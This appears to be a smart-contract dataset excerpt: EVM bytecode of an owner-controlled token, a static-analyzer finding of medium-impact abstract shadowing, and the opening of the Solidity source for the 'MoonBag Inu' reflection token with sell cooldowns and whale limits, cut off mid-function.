ffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b60008060008414156113255760009150611344565b828402905082848281151561133657fe5b0414151561134057fe5b8091505b5092915050565b600082821115151561135957fe5b818303905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113bf57600080fd5b80600d8190555050565b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561145f5780601f106114345761010080835404028352916020019161145f565b820191906000526020600020905b81548152906001019060200180831161144257829003601f168201915b505050505081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156115b457600080fd5b80600c8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561165757600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116a557600080fd5b6116f782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061178c82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60105481565b60075481565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118ae57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141515156118ea57600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054841115151561195957600080fd5b6119cc84600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a8284600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ada846008546138c290919063ffffffff16565b600881905550611af5846009546138c290919063ffffffff16565b6009819055508473ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3611b8c858484611db3565b60019050949350505050565b601160149054906101000a900460ff1681565b6000611bb56138e0565b1515611c9d57601160149054906101000a900460ff161515611bd657600080fd5b601260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c2f57600080fd5b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515611c8857600080fd5b611c90613948565b151515611c9c57600080fd5b5b611ca8848484613958565b90509392505050565b60095481565b600660009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d2557600080fd5b60008160085403111515611d3857600080fd5b611d4d8160085461134b90919063ffffffff16565b6008819055507ff708844f569f2a630c36e2c8c1422c319aa04d0ef131636d78737df669e89b2f816040518082815260200191505060405180910390a150565b600b60019054906101000a900460ff1681565b601360009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e0e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515611e4a57600080fd5b81601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b601281565b600b60009054906101000a900460ff1681565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115612013576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120a7565b612026838261134b90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561223757600080fd5b61228981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122e1816007546138c290919063ffffffff16565b6007819055503073ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123fb57600080fd5b81600b60006101000a81548160ff02191690831515021790555080600b60016101000a81548160ff0219169083151502179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156124b357600080fd5b60075460085482011015156124c757600080fd5b6124dc816008546138c290919063ffffffff16565b6008819055507f03e0d50af85e41e334dc3f5787a0c79260b3d45a70927162c106c45ebf9da649816040518082815260200191505060405180910390a150565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156125b25780601f10612587576101008083540402835291602001916125b2565b820191906000526020600020905b81548152906001019060200180831161259557829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561261557600080fd5b61266781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126bf8160075461134b90919063ffffffff16565b6007819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360003073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127d957600080fd5b80601360006101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561285157600080fd5b80600e8190555050565b60146020528060005260406000206000915054906101000a900460ff1681565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006128ab6138e0565b151561299357601160149054906101000a900460ff1615156128cc57600080fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561292557600080fd5b601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561297e57600080fd5b612986613948565b15151561299257600080fd5b5b61299d8383613d17565b905092915050565b600e5481565b60126020528060005260406000206000915054906101000a900460ff1681565b600a5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a2c57600080fd5b8060059080519060200190612a42929190613f56565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612aa157600080fd5b8060049080519060200190612ab7929190613f56565b5050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60156020528060005260406000206000915090505481565b6000612bad82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000601360009054906101000a900460ff168015612d7f5750601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612e28576000601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015612e11575042601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612e1f5760009050612e2d565b60019050612e2d565b600090505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e8d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612ec957600080fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600f5481565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ff557600080fd5b80601160146101000a81548160ff02191690831515021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561306d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156130cb57600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff1631141515156130f257600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050151561316b57600080fd5b565b600c5481565b600061318a60105483613f3b90919063ffffffff16565b9050600b60009054906101000a900460ff161515156131a857600080fd5b803073ffffffffffffffffffffffffffffffffffffffff1631101515156131ce57600080fd5b600181101515156131de57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561322c57600080fd5b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054011115156132fc57600080fd5b601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561335557600080fd5b61335d613948565b15151561336957600080fd5b6133dc82600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600260008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061349282600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134ea8260085461134b90919063ffffffff16565b600881905550613505826009546138c290919063ffffffff16565b6009819055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a33373ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015156135d157600080fd5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561363057600080fd5b80601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561375557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561379157600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156138aa57600080fd5b8160108190555080600f819055505050565b60085481565b60008082840190508381101515156138d657fe5b8091505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156139405760019050613945565b600090505b90565b600061395333612d18565b905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561399557600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156139e357600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515613a6e57600080fd5b613ac082600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613b5582600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c2782600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515613d5457600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515613da257600080fd5b613df482600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461134b90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613e8982600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138c290919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000808284811515613f4957fe5b0490508091505092915050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10613f9757805160ff1916838001178555613fc5565b82800160010185558215613fc5579182015b82811115613fc4578251825591602001919060010190613fa9565b5b509050613fd29190613fd6565b5090565b613ff891905b80821115613ff4576000816000905550600101613fdc565b5090565b905600a165627a7a72305820058faca198405aed0a87bfd28a5d61fbfaef194134296e5d18df5f0fa66bf58f0029
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}]}}
5,850
0x6a99fc62fc2df152c4d7c9dea6484c607c933cac
/** *Submitted for verification at Etherscan.io on 2021-06-29 */ /** * MoonBag Inu * https://t.me/MoonBagInu * www.moonbagcoin.com * TOKENOMICS: * 100,000,000,000,000 token supply * * SPDX-License-Identifier: UNLICENSED */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function getPair(address tokenA, address tokenB) external view returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); } contract MOONBI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100 * 10**12 * 10**18; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "MoonBag Inu"; string private constant _symbol = "MOONBI"; uint8 private constant _decimals = 18; uint256 private _taxFee = 3; uint256 private _teamFee = 7; uint256 private _feeRate = 5; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _teamWallet; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private _moonbagEnabled = true; bool private _whaleDumpProtection = true; bool private inSwap = false; struct User { uint256 sell; bool firstSell; bool exists; } event CooldownEnabledUpdated(bool _cooldown); event MoonbagEnabledUpdated(bool _moonbag); event WhaleDumpProtectionUpdated(bool _whaleDump); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable teamWallet) { _teamWallet = teamWallet; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[teamWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,false,true); } } // buy require(tradingOpen, "Trading not yet enabled."); if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair) { if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); //80% bag check code if(_moonbagEnabled && !cooldown[from].firstSell){ require(amount <= balanceOf(from).mul(80).div(100),"You forgot your moon bag"); cooldown[from].firstSell = true; } //whale dump check code if(_whaleDumpProtection){ require(amount <= whaleSellLimit(), "You are a whale"); } } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamWallet.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, 